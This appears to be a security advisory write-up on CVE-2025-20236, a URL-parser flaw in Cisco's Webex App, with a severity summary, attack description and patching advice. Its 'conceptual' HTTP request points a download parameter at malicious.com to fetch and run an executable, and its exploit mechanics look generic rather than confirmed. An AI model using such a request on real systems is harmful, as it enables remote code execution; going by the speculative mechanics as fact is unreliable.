CVE-2025-20236: Critical Vulnerability in Cisco Webex App URL Parser

Overview

A critical vulnerability, identified as CVE-2025-20236, has been discovered in the custom URL parser of Cisco’s Webex App. This vulnerability has a potential to compromise systems and leak sensitive data if exploited. The flaw is significant due to the widespread use of Cisco’s Webex App in corporate environments for virtual meetings and team collaborations. This makes it a lucrative target for threat actors aiming to infiltrate systems and gain unauthorized access to sensitive data.
The vulnerability affects all users of the Cisco Webex App, with potential repercussions extending to the organizations that they represent. The severity of this vulnerability underscores the importance of maintaining up-to-date security measures and patches.

Vulnerability Summary

CVE ID: CVE-2025-20236
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Cisco Webex App | All versions prior to the latest patch

How the Exploit Works

The exploit takes advantage of insufficient input validation in the custom URL parser of the Cisco Webex App. In a typical scenario, an attacker persuades a user to click on a maliciously crafted meeting invite link. This link, when clicked, triggers the download of arbitrary files onto the user’s device. The downloaded files contain malicious code that, when executed, allows the attacker to run arbitrary commands with the privileges of the targeted user.

Conceptual Example Code

While this is not a working code, the following example illustrates how a malicious HTTP request might be crafted to exploit this vulnerability:

GET /invite?meetingID=123456&download=http://malicious.com/arbitrary_file.exe HTTP/1.1
Host: webex.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://malicious.com/invite_link
Upgrade-Insecure-Requests: 1

In this example, the malicious URL embedded in the `download` parameter triggers the download and execution of an arbitrary file from the attacker’s server when the user clicks on the meeting invite link.

Mitigation Guidance

Users are advised to apply the latest vendor patch immediately to fix this vulnerability. As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block malicious traffic and prevent exploitation of this vulnerability. Regularly updating software and maintaining robust security measures can minimize the risk of future exploits.